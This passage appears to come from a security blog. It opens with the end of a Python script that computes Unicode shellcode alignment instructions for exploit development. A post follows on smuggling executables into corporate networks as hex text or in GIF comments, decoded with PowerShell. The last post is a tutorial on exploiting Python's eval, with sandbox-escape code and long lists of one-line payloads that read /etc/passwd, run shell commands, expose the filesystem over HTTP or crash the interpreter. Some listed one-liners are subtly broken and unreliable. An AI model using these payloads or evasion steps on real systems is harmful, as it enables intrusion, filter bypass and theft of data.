MAGIC_PROBABILITY_OF_ADDING_AN_ELEMENT_FROM_INPUTS=0.25
#Idea of 0.25: We will add every fourth register to the sum.
#This means in average we will increase by 2 instructions every run of 
#randomise.
MAGIC_PROBABILITY_OF_RESETTING=0.04 #an average of about 40 instructions
MAGIC_MAX_PROBABILITY_OF_RESETTING=0.11 #an average of about 20 instructions
#Idea: This is a trade-off - we don't want
#to find no results by resetting to often (and never even
#trying an instruction length of e.g. 500 bytes). On the other
#hand we don't want to search in solutions with a lot of bytes
#when we already found a shorter solution. Therefore we will
#slightly increase it with time.
#End options - don't modify anything below here!

import pprint, time, random, copy
def main():
    originals = []
    ax = theX(eax)
    ah = higher(ax)
    al = lower(ax)
    
    bx = theX(ebx)
    bh = higher(bx)
    bl = lower(bx)
    
    cx = theX(ecx)
    ch = higher(cx)
    cl = lower(cx)
    
    dx = theX(edx)
    dh = higher(dx)
    dl = lower(dx)
    
    start_address = theX(start)
    s1 = higher(start_address)
    s2 = lower(start_address)
    
    goal_address = theX(goal)
    g1 = higher(goal_address)
    g2 = lower(goal_address)
    
    names = ['ah', 'al', 'bh', 'bl', 'ch', 'cl', 'dh', 'dl']
    originals = [ah, al, bh, bl, ch, cl, dh, dl]
    sanitiseZeros(originals, names)
    
    #a1, a2, a3, a4, a5, a6, a7, a8 = originals
    #x1, x2, x3, x4, x5, x6, x7, x8 = [0 for i in range(0,8)]
    #y1, y2, y3, y4, y5, y6, y7, y8 = [0 for i in range(0,8)]
    
    #xs = [x1, x2, x3, x4, x5, x6, x7, x8]
    #ys = [y1, y2, y3, y4, y5, y6, y7, y8]
    
    xs = [0 for i in range(0,len(originals))]
    ys = [0 for i in range(0,len(originals))]
    
    #[Extra constraint!] 1.
    #we have to modify the AH value, because it will change until
    #we reach the instruction where we modify AL
    originals2 = copy.copy(originals)
    originals2[names.index(start_is[0])] = g1 #it will be the target value
    
    best_result = 999999999
    number_of_tries = 0.0
    while True:
        #Hmm, we might have a problem to improve the heuristic (random right now)
        #if we don't put the Extra constraints into the formula
        randomise(xs)
        randomise(ys)
        
        #[Extra constraint!] 2.
        #not allowed: 
        #add al, al
        #add ah, ah
        xs[names.index(start_is[0])] = 0
        ys[names.index(start_is[1])] = 0
        
        tmp = check2(originals, originals2, [s1, s2], [g1, g2], xs, ys, best_result)
        if tmp > 0:
            best_result = tmp
            #we got a new result
            printNicely(names, start_is, xs, ys)
        #Slightly increases probability of resetting with time
        probability = MAGIC_PROBABILITY_OF_RESETTING+number_of_tries/(10**8)
        if probability < MAGIC_MAX_PROBABILITY_OF_RESETTING:
            number_of_tries += 1.0
        if random.random() <= probability:
            #print "Reset"
            xs = [0 for i in range(0,len(originals))]
            ys = [0 for i in range(0,len(originals))]
    

def sanitiseZeros(originals, names):
    for index, i in enumerate(originals):
        if i == 0:
            print """WARNING: Your %s register seems to be zero, for the heuristic it's much healthier
            if none is zero. Although it might still work, it might also not work or take longer.""" % names[index]
            del originals[index]
            del names[index]
            return sanitiseZeros(originals, names)


def randomise(values):
    for index, i in enumerate(values):
        if random.random() <= MAGIC_PROBABILITY_OF_ADDING_AN_ELEMENT_FROM_INPUTS:
            values[index] += 1

def check2(as1, as2, ss, gs, xs, ys, best_result):
    g1, g2 = gs
    s1, s2 = ss
    sum_of_instructions = sum(xs) + sum(ys) 
    if best_result > sum_of_instructions:
        res0 = s1
        res1 = s2
        for index, _ in enumerate(as1):
            res0 += as1[index]*xs[index] % 256
            res1 += as2[index]*ys[index] % 256
        res0 = res0 - ((s2+(2*sum_of_instructions)+3)/256) #+3 for the 6d at the end, which is 006d00 
        res1 = res1 - (2*sum_of_instructions+3) #+3 for the 6d at the end, which is 006d00 
        if g1 == res0 % 256 and g2 == res1 % 256:
            debug("###FOUND")
            debug("a11...a1?", hexlist(as1))
            debug("a21...a2?", hexlist(as2))
            debug("s1, s2", hexlist(ss))
            debug("g1...g2", hexlist(gs))
            debug("x1...x?", xs)
            debug("y1...y?", ys)
            debug("No of instructions:", sum_of_instructions)
            return sum_of_instructions
    return 0
        
#Old version of check that doesn't support variable as1/as2 lengths, but
#might just be easier to understand if somebody wants to understand this stuff
# def check(as1, as2, ss, gs, xs, ys, best_result):
#     g1, g2 = gs
#     s1, s2 = ss
#     a11, a12, a13, a14, a15, a16, a17, a18 = as1
#     a21, a22, a23, a24, a25, a26, a27, a28 = as2
#     x1, x2, x3, x4, x5, x6, x7, x8 = xs
#     y1, y2, y3, y4, y5, y6, y7, y8 = ys
#     
#     num_of_instr = x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8
#     
#     if best_result > num_of_instr:
#         if (s1+a11*x1+a12*x2+a13*x3+a14*x4+a15*x5+a16*x6+a17*x7+a18*x8-((s2+2*(x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8)+3)/256)) % 256 == g1 \
#         and (s2+a21*y1+a22*y2+a23*y3+a24*y4+a25*y5+a26*y6+a27*y7+a28*y8-2*(x1+x2+x3+x4+x5+x6+x7+x8+y1+y2+y3+y4+y5+y6+y7+y8))-3 % 256 == g2:
#             debug("###FOUND")
#             debug("a11...a18", hexlist(as1))
#             debug("a21...a28", hexlist(as2))
#             debug("s1, s2", hexlist(ss))
#             debug("g1...g8", hexlist(gs))
#             debug("x1...x8", xs)
#             debug("y1...y8", ys)
#             debug("No of instructions:", num_of_instr)
#             return num_of_instr
#     return 0

def printNicely(names, start_is, xs, ys):
    #print names, start_is, xs, ys
    resulting_string = ""
    sum_instr = 0
    for index, x in enumerate(xs):
        for k in range(0, x):
            resulting_string += "add "+start_is[0]+","+names[index]+"; "
            sum_instr += 1
    for index, y in enumerate(ys):
        for k in range(y):
            resulting_string += "add "+start_is[1]+","+names[index]+"; "
            sum_instr += 1
    resulting_string += "add [ebp],ch;"
    sum_instr += 1
    result("Use the following instructions (%i long, paste into metasm shell/remove all zero bytes):\n"%sum_instr, resulting_string)

def hexlist(list):
    return [hex(i) for i in list]
    

def theX(num):
    res = (num>>16)<<16 ^ num
    #print hex(res)
    return res
    
def higher(num):
    res = num>>8
    #print hex(res)
    return res
    
def lower(num):
    res = ((num>>8)<<8) ^ num
    #print hex(res)
    return res
    
def result(*text):
    print "[RESULT] "+str(" ".join(str(i) for i in text))
    
def debug(*text):
    if False:
        print "[DEBUG] "+str(" ".join(str(i) for i in text))

main()

As I talked to Peter aka corelanc0d3r he liked the idea that we could implement it into mona, although there are a few things that should be changed/added. It is important that we get static and reliable addresses into EAX, ECX, EDX and EBX before we do the math. So in mona the first two steps from above should be integrated as well. Therefore mona should do the following:

  1. Check if EBP is a stackpointer, if yes go to 2. otherwise go to 3.
  2. Pop EBP into EAX: \x55\x6d\x58\6d
  3. Pop ESP into EBX: \x54\x6d\x5B\6d
  4. Find reliable stack pointers on the stack and pop different ones into EDX, ECX (and EAX if 2. was not executed)
  5. Do the math and suggest to user

In a lot of cases this procedure of checking EBP and find reliable stack pointers is probably not necessary. But to get higher reliability for the automated approach it should be done. As Peter pointed out, one of the registers could be filled with a timestamp or something. For now, if you use my script, check for these things manually.

Another good thing I have to point out about this script: We won’t need to jump to the shellcode and we don’t need to put garbage between the alignment code and the shellcode. The script/math model makes sure that the next instruction after the alignment code is exactly where our BufferRegister is pointing to (and where we can put our Unicode shellcode).

Now check out the video describing all the steps and how to use the script:

Go to vimeo to watch the video

Update: Implemented an advanced version for mona.py.

Hiding files in GIF comments

Firewall, IDS, IPS, Load Balancers, Proxies, Antivirus, MAC address filtering and no USB ports. A lot of companies are filtering the information/data that is getting into their network (and out of their network). But in the end the user wants to get information from the internet. Let’s face it: Text is information. So let’s use text to get a binary executable into the corporate network. While it’s relatively easy to convert text into binaries and back on Linux and Mac (thank you bash!), it was sometimes a pain in Windows until Powershell. As far as I know Powershell is available on all Windows 7 and newer machines.

This is not a new technique, it’s already in use, for example in the SET. I read a blogpost which explains exactly what we are doing here, I just wanted to try it myself and I changed the encoding from decimal to hex, which removes the necessity for a delimiter and makes the text data smaller in general. Additional I’ll show how to hide the information in a GIF image and how to extract it on a Powershell.

Let’s first convert our binary into text (hex encoding). So first prepare the text we want to put somewhere on the internet. Here is a small python one-liner that converts notepad.exe into the required format.

In Python on Windows:

.\python.exe -c "file('C:\\Users\\user\\Desktop\\notepad_hex.txt','wb').write(file('C:\\Windows\\notepad.exe','rb').read().encode('hex'))"

In Python on Unix:

python -c "file('/tmp/notepad_hex.txt','wb').write(file('/tmp/notepad.exe','rb').read().encode('hex'))"

If you open notepad_hex.txt now, you only see hexadecimal numbers:

4d5a9000030000…

That’s already the text version you can put on a website and you can access from your company network and your company desktop machine (eg. pastebin). If you can access the notepad_hex.txt on a web server directly, it’s probably better if you use the “save as” dialogue of your browser to store it (it’s quite a long hex string). As soon as your back in your company network, save the contents to a file. Let’s assume you saved it to C:\Users\user\Desktop\notepad_hex.txt

So let’s convert the text back to an executable in our Powershell. I just adopted the code from the blogpost:

[string]$hex = get-content -path C:\Users\user\Desktop\notepad_hex.txt
[Byte[]]$temp = $hex -split '([a-f0-9]{2})' | foreach-object { if ($_) {[System.Convert]::ToByte($_,16)}}
[System.IO.File]::WriteAllBytes("C:\Users\user\Desktop\notepad.exe", $temp)

You should have notepad.exe on your Desktop now. This will also work with other file formats, for example zip files, although much slower with increasing file size.

Of course there are other methods of smuggling data into the corporate network. For example if you prefer to put the text data into a picture, you can use ImageMagick (included in the Ubuntu repositories and Mac Ports) in a shell. So for example to put the hex data into a gif comment, use the following commands (first rename an image to black.gif):

python -c "file('/tmp/something_hex.txt','wb').write(file('/tmp/something.exe','rb').read().encode('hex'))"
hex=`cat /tmp/something_hex.txt`
convert -comment "$hex" black.gif black2.gif

Note that this method on the command line only works for small hex data. I got an “Argument list too long” error for notepad, so use this command instead if it is a big file:

convert -comment @/tmp/notepad_hex.txt black.gif notepad.gif

But how do we get the data out of the picture in our Powershell? Let’s have a look at the nice ASCII Art for the Comment Extension in the GIF89a format spec:

    c. Syntax.

    7 6 5 4 3 2 1 0        Field Name                    Type
   +---------------+
0  |               |       Extension Introducer          Byte
   +---------------+
1  |               |       Comment Label                 Byte
   +---------------+

   +===============+
   |               |
N  |               |       Comment Data                  Data Sub-blocks
   |               |
   +===============+

   +---------------+
0  |               |       Block Terminator              Byte
   +---------------+

          i) Extension Introducer - Identifies the beginning of an extension
          block. This field contains the fixed value 0x21.

          ii) Comment Label - Identifies the block as a Comment Extension.
          This field contains the fixed value 0xFE.

          iii) Comment Data - Sequence of sub-blocks, each of size at most
          255 bytes and at least 1 byte, with the size in a byte preceding
          the data.  The end of the sequence is marked by the Block
          Terminator.

          iv) Block Terminator - This zero-length data block marks the end of
          the Comment Extension.

So it basically says we have to look for 0x21FE and read the number of bytes specified in the first byte. Then read again the next byte to see how many bytes we have to read and so on. Let’s do that in a Powershell:

[string]$picture = get-content -path C:\Users\user\Desktop\notepad.gif
[string]$delimiter = [Convert]::ToChar(0x21)+[Convert]::ToChar(0xFE)
[string[]]$commentarray = $picture -split $delimiter,2
[string]$junk = $commentarray[1]
[string]$hex = ""
while($true){
	[int]$length = [int][char]$junk.substring(0,1)
	$hex = $hex + $junk.substring(1,$length)
	$junk = $junk.substring($length+1)
	if($length -lt 255){
		break
	}
}
[Byte[]]$temp = $hex -split '([a-f0-9]{2})' | foreach-object { if ($_) {[System.Convert]::ToByte($_,16)}}
[System.IO.File]::WriteAllBytes("C:\Users\user\Desktop\notepad.exe", $temp)

I feel like Powershell and me could get good friends. If you want to try it yourself, save the following notepad.gif on your Desktop, change the username in the paths of the code above and copy/paste it into a Powershell.

Exploiting Python’s Eval

For those of you just interested in the exploiting part, scroll down to “Exploiting“.

I’m reading the following book right now:

Programming Python, Fourth Edition, by Mark Lutz (O’Reilly). Copyright 2011 Mark Lutz, 978-0-596-15810-1

Example 1-22 on page 38/39 reads as following:

me$ cd PP4E/Preview/
me$ cat peopleinteract_update.py
# interactive updates
import shelve
from person import Person
fieldnames = ('name', 'age', 'job', 'pay')

db = shelve.open('class-shelve')
while True:
    key = input('\nKey? => ')
    if not key: break
    if key in db:
        record = db[key]                      # update existing record
    else:                                     # or make/store new rec
        record = Person(name='?', age='?')    # eval: quote strings
    for field in fieldnames:
        currval = getattr(record, field)
        newtext = input('\t[%s]=%s\n\t\tnew?=>' % (field, currval))
        if newtext:
            setattr(record, field, eval(newtext))
    db[key] = record
db.close()

Of course I saw that “eval”, so I immediately stopped reading the book and started reading about how I could exploit this little Python program. The book doesn’t mention that this example could be a security problem, but it looks like they wanted to add a comment, because on page 49 it reads:

As mentioned previously, this is potentially dangerous if someone sneaks some malicious cod into our shelve, but we’ll finesse such concerns for now.

In my opinion it would be better to show a programmer how easy it is to specify a whitelist of characters (eg. say a-zA-Z0-9 and the single quote). From a security perspective, incorrect or insufficient input filtering is very dangerous. Although most of the time not the root cause, input filtering can help to prevent buffer overflows, XSS, SQL injection and most other injections. Whitelisting in Python would be done as following:

import string
whitelist = string.ascii_letters + string.digits + "' "
newtext = ''.join(c for c in newtext if c in whitelist)

Of course this whitelist would not cover Unicode characters. So the filter could be changed to a blacklist filter, which allows all Unicode characters, which should still be pretty safe (although blacklists are bad practice):

import string
whitelist = string.ascii_letters + string.digits + "' "
newtext = ''.join(c for c in newtext if c in whitelist or ord(c) > 127)

Of course this is just a workaround, the proper solution would be not to use the eval function. Instead all the input should be treated as strings and only fields with integers (age and pay) should be parsed to integers. The following code is the proper solution for the above example:

me$ cd PP4E/Preview/
me$ cat peopleinteract_update.py
# interactive updates
import shelve
from person import Person
fieldnames = ('name', 'age', 'job', 'pay')
numerical_fieldnames = ('age', 'pay')

db = shelve.open('class-shelve')
while True:
    key = raw_input('\nKey? => ')
    if not key: break
    if key in db:
        record = db[key]                      # update existing record
    else:                                     # or make/store new rec
        record = Person(name='?', age='?')
    for field in fieldnames:
        currval = getattr(record, field)
        newtext = raw_input('\t[%s]=%s\n\t\tnew?=>' % (field, currval))
        newtext = int(newtext) if field in numerical_fieldnames else newtext
        if newtext:
            setattr(record, field, newtext)
    db[key] = record
db.close()

Exploiting

So let’s talk about exploiting the first example. I soon found out that the example would be very easy to exploit. For example the exit function is interpreted by eval and the program quits:

me$ python3.3 peopleinteract_update.py

Key? => tom
	[name]=56
		new?=>exit()
me$

So I read an article about the problem. I found this little code example, which can be used to execute something on your system (Unix example):

$ python3.3 peopleinteract_update.py

Key? => tom
	[name]=56
		new?=>__import__('os').system('echo hello, I am a command execution')
hello, I am a command execution
	[age]=mgr
		new?=>

As you see, the echo command is executed and printed on the next line. I told myself that was to easy and I wanted to exploit the program in harder circumstances. As described in that article, some people try to “secure” an eval call by overwriting the __builtins__ of Python. So let’s assume the line with eval in the example 1-22 looks as following:

setattr(record, field, eval(newtext, {'__builtins__':{}}))

To clear the builtins is considered a “security measure” for a lot of people, but as described in the article above it just makes it harder to exploit, not impossible. So I wanted to try that segmentation fault technique in the article on the example. It worked well for Python 2.7:

$ python
Python 2.7.3 (default, Apr 19 2012, 00:55:09)
[GCC 4.2.1 (Based on Apple Inc. build 5658) (LLVM build 2335.15.00)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> s = """
... (lambda fc=(
...     lambda n: [
...         c for c in
...             ().__class__.__bases__[0].__subclasses__()
...             if c.__name__ == n
...         ][0]
...     ):
...     fc("function")(
...         fc("code")(
...             0,0,0,0,"KABOOM",(),(),(),"","",0,""
...         ),{}
...     )()
... )()
... """
>>> eval(s, {'__builtins__':{}})
Segmentation fault: 11
me$

But they changed the constructor for Python 3 for the code object. So if you run the same code on Python 3.3 it will output that it needs 13 arguments:

$ python3.3
Python 3.3.0rc2 (default, Sep  9 2012, 04:29:34)
[GCC 4.2.1 Compatible Apple Clang 3.1 (tags/Apple/clang-318.0.58)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> #same s as before
...
>>> eval(s, {'__builtins__':{}})
Traceback (most recent call last):
  File "", line 1, in
  File "", line 3, in
  File "", line 11, in
TypeError: code() takes at least 13 arguments (12 given)
>>>

So because the book is about Python 3, we have to change the arguments for the code object constructor. But which arguments does it take? To find that out I started a Python 3 console and typed in the following:

>>> def foo(): pass
...
>>> help(type(foo.__code__))

We get a nice description of the constructor (__init__ method) of the code object and the message that this isn’t for the faint of heart. Fine for me. We get the following argument description for the constructor:

code(argcount, kwonlyargcount, nlocals, stacksize, flags, codestring,
 |        constants, names, varnames, filename, name, firstlineno,
 |        lnotab[, freevars[, cellvars]])

There is no “kwonlyargcount” for Python 2.7, so with an additional 0 in the argument list and specifying two literals as “bytes” instead of “strings”, we get a Python 3 segmentation fault:

s = """
(lambda fc=(
    lambda n: [
        c for c in
            ().__class__.__bases__[0].__subclasses__()
            if c.__name__ == n
        ][0]
    ):
    fc("function")(
        fc("code")(
            0,0,0,0,0,b"KABOOM",(),(),(),"","",0,b""
        ),{}
    )()
)()
"""
eval(s, {'__builtins__':{}})

Now of course we want to feed it to the example program. So removing the new lines and replacing the three double quotes with one single quote we get:

s = '(lambda fc=( lambda n: [ c for c in  ().__class__.__bases__[0].__subclasses__()  if c.__name__ == n ][0] ): fc("function")( fc("code")( 0,0,0,0,0,b"KABOOM",(),(),(),"","",0,b"" ),{} )())()'
eval(s, {'__builtins__':{}})

Ok, those two lines still work fine on the interactive Python 3 shell (and by removing one of the first 0 arguments for the code init method it will also work in Python 2.7). Can we exploit the test application now? Yes we can:

me$ python3.3 peopleinteract_update.py

Key? => abc
	[name]=?
		new?=>(lambda fc=( lambda n: [ c for c in  ().__class__.__bases__[0].__subclasses__()  if c.__name__ == n ][0] ): fc("function")( fc("code")( 0,0,0,0,0,b"KABOOM",(),(),(),"","",0,b"" ),{} )())()
Segmentation fault: 11
me$

Ok, seg faulting is fine, but what about executing real code? For that we have to go a little bit back. First, let’s try again in Python 2.7 with the cool trick described in an article on reddit. If we run the following code in a python interactive interpreter, it will show us the help page (of the help command itself):

s = """
(lambda __builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__):
    __builtins__['help'](__builtins__['help'])
)()
"""
eval(s, {'__builtins__':{}})

So let’s see the builtins we get back with this method:

>>> a = [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__.keys()>>> a.sort()
>>> a
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']

For example we can now print something:

s = """
(lambda __builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__):
    __builtins__['print']('THIS IS A PYTHON EVAL INTERPRETED OUTPUT')
)()
"""
eval(s, {'__builtins__':{}})

We can also exit the interpreter form within the eval:

s = """
(lambda __builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__):
    __builtins__['exit']()
)()
"""
eval(s, {'__builtins__':{}})

We can also delay the answer of the interpreter (takes about 10 seconds on my machine):

s = """
(lambda __builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__):
    __builtins__['sum'](__builtins__['xrange'](-999999999,99999999))
)()
"""
eval(s, {'__builtins__':{}})

Of course if you add some more 9s to those numbers, you can DoS the interpreter.

But if we try to read a file, the restricted mode gets hit on my machine. It seems the restricted mode is “entered when the builtins in main_dict are not the same as the interpreter’s builtins”. Here’s the corresponding code:

s = """
(lambda __builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__):
    __builtins__['print'](__builtins__['file']('/etc/passwd').read())
)()
"""
eval(s, {'__builtins__':{}})

The console answers with:

Traceback (most recent call last):
  File "", line 1, in
  File "", line 2, in
  File "", line 3, in
IOError: file() constructor not accessible in restricted mode

Hmm, ok. Strange, because we can execute commands on the system:

s = """
(lambda __builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__):
    __builtins__['print'](__builtins__['__import__']('os').system('cat /etc/passwd'))
)()
"""
eval(s, {'__builtins__':{}})

So I don’t really care if I can read files on the system, I would simply execute a reverse shell if this would be an exploitable web service. My next try was the subprocess module, but no luck:

s = """
(lambda __builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__):
__builtins__['print'](__builtins__['__import__']('subprocess').Popen('cat /etc/passwd', shell=True))
)()
"""
eval(s, {'__builtins__':{}})
Traceback (most recent call last):
File "", line 1, in
File "", line 2, in
File "", line 3, in
RuntimeError: cannot unmarshal code objects in restricted execution mode

Ok, so no subprocesses and no reading of files. Let’s simply do some cool stuff with the system module, like showing /etc/passwd above. Let’s start an HTTP Server which serves a directory listing of the root directory on port 8000:

s = """
(lambda __builtins__=([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__):
__builtins__['print'](__builtins__['__import__']('os').system('cd /; python -m SimpleHTTPServer'))
)()
"""
eval(s, {'__builtins__':{}})

I guess we’re pretty clear that from this point on we would have control over the machine, which is running the eval command. Here are the payloads (in several different versions) as one liners for Python 2.7. The file, open and fileinput payload fails because of the IOError of the restricted mode when the builtins are different, os.popen fails with a permission denied for me. The rest works on my machine:

print('THIS IS A PYTHON EVAL INTERPRETED OUTPUT')
exit()
sum(xrange(-999999999,99999999))

file('/etc/passwd').read()
open('/etc/passwd').read()
__import__['fileinput'].input('/etc/passwd')
__import__['os'].system('cat /etc/passwd')
__import__['os'].popen('/etc/passwd', 'r').read()
__import__['os'].system('cd /; python -m SimpleHTTPServer')

print(file('/etc/passwd').read())
print(open('/etc/passwd').read())
print(__import__['fileinput'].input('/etc/passwd'))
print(__import__['os'].system('cat /etc/passwd'))
print(__import__['os'].popen('/etc/passwd', 'r').read())
print(__import__['os'].system('cd /; python -m SimpleHTTPServer'))

[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['print']('THIS IS A PYTHON EVAL INTERPRETED OUTPUT')
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['exit']()
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['sum']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['xrange'](-999999999,99999999))

[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['file']('/etc/passwd').read()
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['open']('/etc/passwd').read()
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('fileinput').input('/etc/passwd')
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('cat /etc/passwd')
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('/etc/passwd', 'r').read()
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('cd /; python -m SimpleHTTPServer')

[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['file']('/etc/passwd').read())
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['open']('/etc/passwd').read())
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('fileinput').input('/etc/passwd'))
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('cat /etc/passwd'))
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('/etc/passwd', 'r').read())
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['print']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('cd /; python -m SimpleHTTPServer'))

Ok, what about Python 3 now? I haven’t found a reliable way to restore the builtins on Python 3. The following code is taken from Reddit and should work in general:

lookup = lambda n: [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == n][0]
try:
    lookup('Codec')().decode('')
except lookup('BaseException') as e:
    del lookup
    __builtins__ = e.__traceback__.tb_next.tb_frame.f_globals['__builtins__']

But because try/except blocks are not allowed to be inlined and eval can not parse multiple lines (SyntaxError: invalid syntax for try), this technique can’t be used:

s = """try:
    int("a")
except:
    print(123)
"""
eval(s, {'__builtins__':{}})

So we would have to find another way to restore the builtins or we have to properly build a code object like we did for the segmentation fault above. I guess another thing for my TODO list.
UPDATE 19th Feb 2013:
Talked to Ned, he wrote a nice script to find builtins. And here we go for python 3.3:

>>> x = "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['print']('aaaa')"
>>> eval(x, {'__builtins__':{}})
aaaa
>>>

So the payloads for python 3 are:

print('THIS IS A PYTHON EVAL INTERPRETED OUTPUT')
exit()
sum(xrange(-999999999,99999999))

file('/etc/passwd').read()
open('/etc/passwd').read()
__import__['fileinput'].input('/etc/passwd')
__import__['os'].system('cat /etc/passwd')
__import__['os'].popen('/etc/passwd', 'r').read()
__import__['os'].system('cd /; python -m SimpleHTTPServer')

print(file('/etc/passwd').read())
print(open('/etc/passwd').read())
print(__import__['fileinput'].input('/etc/passwd'))
print(__import__['os'].system('cat /etc/passwd'))
print(__import__['os'].popen('/etc/passwd', 'r').read())
print(__import__['os'].system('cd /; python -m SimpleHTTPServer'))

[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['print']('THIS IS A PYTHON EVAL INTERPRETED OUTPUT')
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['exit']()
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['sum']([x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['xrange'](-999999999,99999999))

[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('fileinput').input('/etc/passwd')
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('os').system('cat /etc/passwd')
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('os').popen('/etc/passwd', 'r').read()
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('os').system('cd /; python -m SimpleHTTPServer')

